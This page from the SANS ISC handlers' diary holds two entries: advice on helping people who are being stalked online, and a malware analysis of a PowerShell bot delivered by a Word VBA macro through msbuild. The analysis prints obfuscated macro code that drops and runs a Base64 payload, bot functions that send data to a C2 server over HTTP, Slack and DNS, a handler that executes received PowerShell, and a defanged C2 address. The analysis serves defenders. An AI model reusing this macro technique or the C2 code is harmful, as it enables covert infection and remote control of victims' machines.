Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: InfoSec Handlers Diary Blog InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

A Word of Caution: Helping Out People Being Stalked Online

Published: 2020-08-03
Last Updated: 2020-08-21 17:11:10 UTC
by Johannes Ullrich (Version: 1)
0 comment(s)

Jack Rhysider, of "Darknet Diaries", yesterday posted this tweet asking for ideas on how to help people who are being stalked/surveilled online. This is an issue that has come up a few times as people have reached out to us for help in the past. I would like to share a few hard-learned lessons. And please chime in with anything you have to share.

First, I think it is important to distinguish if the person reaching out is a stranger or a friend/family. In our case, it is usually a stranger. Someone who has never contacted us before. And it is very important to understand the limitations of the help you can provide.

With a stranger, you are never quite sure as to what happened in the past. The victim was often subject to prolonged abuse, and why it is easy to write them off as "crazies", it is important to understand that their perception of events can be altered. Prolonged abuse leaves marks. If a person who threatened them with harm in the past, and has in the past followed up on these threats, then they will believe that this person will also follow up on threats like "hacking them" or "surveilling them in their video cameras", even if they don't. These threats can be very debilitating to the victims. But for an outsider, it is usually impossible to convince the victim that these threats are empty. You, as an outsider, have no history with the victim while the aggressor has. Also, these victims may have been taken advantage of in the past by others who claimed to help, but either worked with the abuse or only were out for a quick buck.

And remember: One of the impossible tasks in information security is to prove that a system is not compromised.

So some of the basic lessons:

1. Figure out if law enforcement needs to be involved.

In particular, if a person is currently being threatened: Understand the limitations of what you can do. It can be difficult for a victim at times to reach out to law enforcement, and law enforcement is also not always equipped to properly deal with these issues. But insist that the victim will at least try to do so. In particular, if the victim is threatened with physical harm. If for whatever reason, law enforcement isn't an option or doesn't assist: Try to connect the victim to a local advocacy group that can provide help beyond the technical issues, and connects them to someone with experience in these cases.

2. Avoid contact in person

You probably will have the best intention. But do not visit a person you do not know at their home. In particular not alone. Just to make the point: Many years ago we had an ISC handler attempt to do so (the victim was living close by). Luckily the handler backed out last minute. The "victim" was later arrested trying to kill someone else they suggested of being involved in the plot against them (a radio host who as far as I could tell was accused by the shooter of operating mind control rays).

3. Be careful as to what technical self-help you offer

Many responses to Jack's tweet suggested books and websites that will educate about various techniques to secure your computing equipment and how to detect tools like keyloggers and network sniffers. Many of these sites offer great content. But be aware that not everybody knows what a cookie or an IP address is. Confirmation bias is a dangerous tool in the hands of an abuser who already convinced the victim that they are helpless. You may unintentionally make things worse by trying to help.

So what should you do? If this is a good friend or relative: By all means, go over, take a look at their system, try to find malware. If you do find malware: Explain to the victim what is going on. Try to find out (and this isn't easy!) if this was malware placed by a stalker or if this was "run of the mill" malware the victim inadvertently installed. If you don't find anything: Explain some safe computing tips. But please understand your limitations. Refer the victim to a local abuse hotline or group specializing in not just the technical side (e.g. Operation Safe Escape or other groups with a local presence in your area)

Here some links to organizations people recommended:

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

0 comment(s)

Powershell Bot with Multiple C2 Protocols

Published: 2020-08-03
Last Updated: 2020-08-05 04:54:55 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

I spotted another interesting Powershell script. It's a bot and is delivered through a VBA macro that spawns an instance of msbuild.exe This Windows tool is often used to compile/execute malicious on the fly (I already wrote a diary about this technique[1]). I don’t have the original document but based on a technique used in the macro, it is part of a Word document. It calls Document_ContentControlOnEnter[2]:

Private Sub CommandButton1_Click()
  MsgBox "Thank you for your participation!"
  Call f332dsasad
End Sub

Private Sub Document_ContentControlOnEnter(ByVal ContentControl As ContentControl)
  f332dsasad
End Sub

This is an interesting technique because it requires some interaction with the victim and therefore may prevent an automatic analysis in a sandbox. The macro was submitted to VT on July 31st from the United States. The current VT score is 1/60[3]. The macro is simple, it dumps an XML project file to disk and launches msbuild.exe:

Sub f332dsasad()
  Dim aaa As String
  On Error Resume Next
  Dim file
  adddsaddsasd
  appDataLocation = Environ("A" & "ppD" & "ata")
  file = appDataLocation & "\Wind" & "owsManager." & "xml"
  Set objFSO = CreateObject("Scripting.FileSystemObject")
  Set oFile = objFSO.CreateTextFile(file, True)
  oFile.Write "<Project ToolsVersion=""4.0"" xmlns=""http://schemas.microsoft.com/developer/msbuild/2003""><Target Name"
  oFile.Write "=""Example""><ClassExample /></Target><UsingTask TaskName=""ClassExample"" TaskFactory=""CodeTaskFactory"""
  oFile.Write " AssemblyFile=""C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll"" ><Task>"
  oFile.Write "<Reference Include=""System.Management.Automation"" /><Using Namespace=""System"" /><Using Namespace=""Sy"
  oFile.Write "stem.IO"" /><Using Namespace=""System.Reflection"" /><Using Namespace=""System.Collections.Generic"" /><C"
  oFile.Write "ode Type=""Class"" Language=""cs""><![CDATA[ using System;using System.IO;using System.Diagnostics;using"
  oFile.Write " System.Reflection;using System.Runtime.InteropServices;using System.Collections.ObjectModel;using S"
  oFile.Write "ystem.Management.Automation;using System.Management.Automation.Runspaces;using System.Text;using Mic"
  oFile.Write "rosoft.Build.Framework;using Microsoft.Build.Utilities;public class ClassExample :  Task, ITask{publ"
  oFile.Write "ic override bool Execute(){byte[] data = Convert.FromBase64String(""W1NjcmlwdEJsb2NrXSAkcWY1ID0geyBpZ"
  oFile.Write "igkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uLk1ham9yIC1sZSAyKXsgZnVuY3Rpb24gQ29udmVydFRvLUpzb257IHBhcmFtKFtQY"
  oFile.Write "XJhbWV0ZXIoVmFsdWVGcm9tUGlwZWxpbmU9JFRydWUpXSRpdGVtLCAkRGVwdGgsIFtzd2l0Y2hdJENvbXByZXNzKTsgYWRkLXR5c"

        ... (stuff removed) ...

  oFile.Write "jFSZ3VaS09qQkwySVovSEpaaUJvOGUzS1lZMnV4SlZqams9IjsgJF95NzQrPSJsSUhzeFMyTmhXRFdMNXNVekU5aDFFdFpLdm5qe"
  oFile.Write "FJsWklqQVd3RjFmZXFjPSI7IHBzcTsg"");string script = Encoding.Default.GetString(data);PSExecute(script)"
  oFile.Write ";return true;}public static void PSExecute(string cmd){Runspace runspace = RunspaceFactory.CreateRun"
  oFile.Write "space();runspace.Open();Pipeline pipeline = runspace.CreatePipeline();pipeline.Commands.AddScript(cm"
  oFile.Write "d);pipeline.InvokeAsync();}} ]]></Code></Task></UsingTask></Project>"
  oFile.Close
  waitTill = Now() + TimeValue("00:00:04")
  While Now() < waitTill
      DoEvents
  Wend
  aaa = "c:\Wi" & "nd" & "ow" & "s\" & "Micr" & "oso" & "ft.NE" & "T\Fr" & "ame" & "work64\v4." & "0.30319" & "\M" & "sbuil" & "d.ex" & "e " & file
  retVal = asd21we(aaa, 0)
End Sub

Note that a specific version of the .Net framework is used (v4.0.30319) in the patch of msbuild.exe!

Another nice trick to obfuscate the execution of a new process is to map the WinExec[2] API call to a random string:

Private Declare PtrSafe Function asd21we Lib "kernel32" Alias "WinExec" (ByVal szURL As String, ByVal dwReserved As Long) As Long

The payload is just Base64-encoded and obfuscated but can be easily analyzed. First, a default configuration of the bot is provided via an encrypted array:

$_q60 = @{}; 
 $_q60['sbqJMK0fLjmB6gPKj7CUkBt8bTnjlA09LlQ/TgPLKHk=']='dWShWx68L1gga2nZmCQo80pFsisM+x4BakLCZ40nqOQ='; 
 $_q60['gsgGKVQdByL/VwTm6ZsKjHq+C8+WH9TNiKd8jJgyxGA=']='3FfmM4zpHxiSCATiv1vfT7SLrYF2MRfL54zsjXPi+a4='; 
 $_q60['2dwivHdqm/McOX3LT0i4uMT31s+r+bTMcqA2tXKCSGE=']='X20HRDOJ2pLtTZ/KbV45YtCX7htZNCa9v6iL/iO3L94='; 
 $_q60['8md4kul/RSVA512X6iBFNA9tHHZivEBaEm+JdoatSqc=']='Zb5v1xWBLLljVgke3nY1UwlqtXF2hzvjB9SXwhrInLcr0/ahWDrEGG1a1bhTsShDk7NqeoDOhsTTrkbk/8Z6YA==';
 $_q60['LFIlE0dzJnFT5nU8ZMLXKEuNnTu5RtZ2/Udst9gwaqQ=']='tuVmAE7hc8XjUwQ6g8rqOaetirT9+VSDMoAF/7wIIuIkN2kjtkC1sok2NpLiNsO6'; 
 $_q60['elgqwz9ery3fBazsgT0PzFh9z6onurDmzAb4rQVkS38=']='7z24DOGs16WnTwNJRv4Xvs/cwl2mQ1AWx+TwHglMIBc='; 

This content is Base64 and SHA256 encrypted. Once decoded, you read this:

PS C:\Users\REM> bpf
Name                           Value                                                                                                         
----                           -----                                                                                                         
sleep                          1                                                                                                             
chunksleep                     1                                                                                                             
key                            {47, 130, 248, 76...}                                                                                         
handlers                       HTTPAES256|hxxp://104[.]239[.]177[.]103:80                                                                          
shell                          powershell                                                                                                    
maxrequestsize                 24000         

Another interesting array is obfuscated in the same way and discloses interesting features of the bot:

PS C:\Users\REM> doa
Payload too long for slack API
token
channel
attachments
as_user
text
https://slack.com/api/chat.postMessage
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
The remote server returned an error: (429) Too Many Requests.
thread_ts
https://slack.com/api/channels.replies
DNSError
jobresult
No response from handler
None
POST
Authorization
HTTPAES256
SLACK
HTTPAES256FRONT
DNSAES256

register
127.0.0.1
{"implantType":"PowerShell","localIp":"
","hostname":"
","username":"
","handler":"Multi","connectionString":"
","supportedPayloads":["command","exit","upload","download","configure","posh_in_mem","reflected_assembly","cd","interactive","socks"],"os":"w
indows"}
{"id":"
heartbeat
powershell
payload
command
options
upload
download
posh_in_mem
reflected_assembly
[bool]
[int]
interactive
Process Exited
socks
tcp_fwd
Not a connect
Not a valid destination address
Cant resolve destination address
Cant connect to host
Unknown socks version
Tcp Connection Closed
Payload type not supported: 
true
exit
Bye!
configure

Just by reading this array, you guess that we are facing a bot! An interesting one if indeed the references to the slack.com API! We see that the bot supports multiple protocols to talk to its C2 server:

  • HTTPAES256
  • SLACK
  • HTTPAES256FRONT
  • DNSAES256

We can find a function for each technique in the bot.  Here is the function which sends data to the C2:

function oqe($_hc8, $body) {
   $_l19s = $_d.handlers.split(","); 
   $_ktk = ""; 
   For ($i=0; $i -lt $_l19s.Length + 1; $i++) {
     try {
       $_l19 = $_l19s[$i].split("|");
       if($_l19[0] -eq $_h[17]) { # "HTTPAES256"
         Return v1v $_l19[1] $_hc8 $body;
       } 
       elseif($_l19[0] -eq $_h[18]) { # "SLACK"
         $trySlack = $false; 
         Return ny4 $_hc8 $body; 
       } 
       elseif($_l19[0] -eq $_h[19]) { # "HTTPAES256FRONT"
         Return v1v $_l19[1] $_hc8 $body $_l19[2];
       } 
       elseif($_l19[0] -eq $_h[20]){ # DNSAES256
         Return r8p $_hc8 $body $_l19[1]; 
       }
     }
     catch { 
       if($_.Exception.message -eq 404) {
         throw $_;
       }
       else { 
         $_ktk += $_h[21] + $_.Exception.message;
       } 
     } 
   } 
   Throw $_ktk;
 }

Here is the function which uses Slack to exchange data with the C2:

function ny4($_hc8, $body){ 
  [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null; 
  $bodyEnc = vnm $_d.key $body; 
  $Body2 = @{ url = $_hc8; body = $bodyEnc; } | ConvertTo-Json -Compress -Depth 3; 
  $_uyx = q6d -token $_d.slacktoken -channelID $_d.slackchannel -Header $Body2; 
  if($_hc8 -ne $_h[12]){ 
    $thread_ts = $_uyx.ts; 
    sleep -Milliseconds 500;
    $_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts; 
    if($_uyx2.messages.length -lt 2){ 
      Sleep 4; 
      $_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts; 
    } 
    if($_uyx2.messages.length -lt 2){ 
      throw $_h[13]; 
    } 
    $_yl5 = ncf $_d.key $_uyx2.messages[1].text ; 
    if($_yl5 -eq "404"){ 
      throw "404"; 
    } 
    return ConvertFrom-Json $_yl5; 
  } 
} 

The rest of the code is classic for a bot. Once initialized, it enters an infinite loop and contacts the C2 at a regular interval (based on the config with some randomization):

Sleep (Get-Random -Minimum ([float]$_d.sleep * 0.7) -Maximum ([float]$_d.sleep * 1.3));

When launched, it registers itself to the C2 by sending the IP address, hostname, and username and get back from the C2 a handler. Here is the initial information sent:

{"implantType":"PowerShell","localIp":"172.16.74.131","hostname":"DESKTOP-2C3IQHO","username":"REM","handler":"Multi","connectionString":"HTTPAES256|hxxp://104[.]239[.]177[.]103:80","supportedPayloads":["command","exit","upload","download","configure","posh_in_mem","reflected_assembly","cd","interactive","socks"],"os":"windows"}

Note the list of available commands:

  • Command (execute something)
  • Upload
  • Download
  • Configure
  • Exit
  • Posh in mem
  • Reflected assembly
  • Interactive
  • Socks (proxy)

Once registration is successful:

{
  "localIp":"172.16.74.131",
  "sourceIp":"",
  "os":"windows",
  "hostname":"DESKTOP-2C3IQHO",
  "username":"REM",
  "handler":"Multi",
  "connectionString":"HTTPAES256|hxxp://104[.]239[.]177[.]103:80",
  "implantType":"PowerShell",
  "config":{},
  "supportedPayloads": 
     ["command","exit","upload","download","configure",
      "posh_in_mem","reflected_assembly","cd","interactive","socks"
     ],
  "_id":"AlsHROTc7sr98HtH7joE9RyuPAiJ5orJ",
  "createdAt":1596440810315,
  "lastSeen":1596440810315,
  "listener":""
}

Now, we've our _id! I was curious about the command 'posh_in_mem'. It just means "PowerShell in memory" and allows execution of the submitted PowerShell code:

 } elseif ($_wxs.($_h[32]).type -eq $_h[37]) { 
   if($_wxs.($_h[32]).($_h[34]).pipe_id){ 
     $bytes = zvf $_suv $_wxs.($_h[32]).($_h[34]).length; 
     $script = [System.Text.Encoding]::ASCII.GetString($bytes);
   } else {
     $script = "";
   } 
   $script += $_h[21] + $_wxs.($_h[32]).($_h[34]).command; 
   $_yl5=""; 
   $_e7i = Invoke-Expression $script | Out-String; 
   ForEach ($line in $($_e7i -split $_h[21])){ 
     $_yl5+=$line.TrimEnd() + $_h[21]; 
   } 
   igl $_wxs._id $_yl5 $false;
  } 

The C2 is located at 104.239.177.103 and is still alive. This IP address is serving the following website: https://culture-amp[.]com. It allows you to download a document called 'Diversity and Inclusion Survey.docm'[5] that contains... our initial macro!

I kept the bot running for approximately 24 hours but I never received any command. Only heartbeats were processed. In my opinion, these files could be related to a red-team exercise or targeting a specific victim/organization. The fact that the path to msbuild.exe is hardcoded to a specific .Net framework version is a good sign. Anyway, the Powershell script was really nice to analyze!

[1] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278
[2] https://docs.microsoft.com/en-us/office/vba/api/word.document.contentcontrolonenter
[3] https://www.virustotal.com/gui/file/13afde702d9b1e80502b12c5f703dce594e240bfd8c3919e06464d1b8f301395/submissions
[4] https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec
[5] https://www.virustotal.com/gui/file/2d7e5fe74a170f82006cbf29f9fef1e1be867c8cd89d077bfa0ffc58dfb36839/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Keywords: Bot Macro Powershell VBA
0 comment(s)
Diary Archives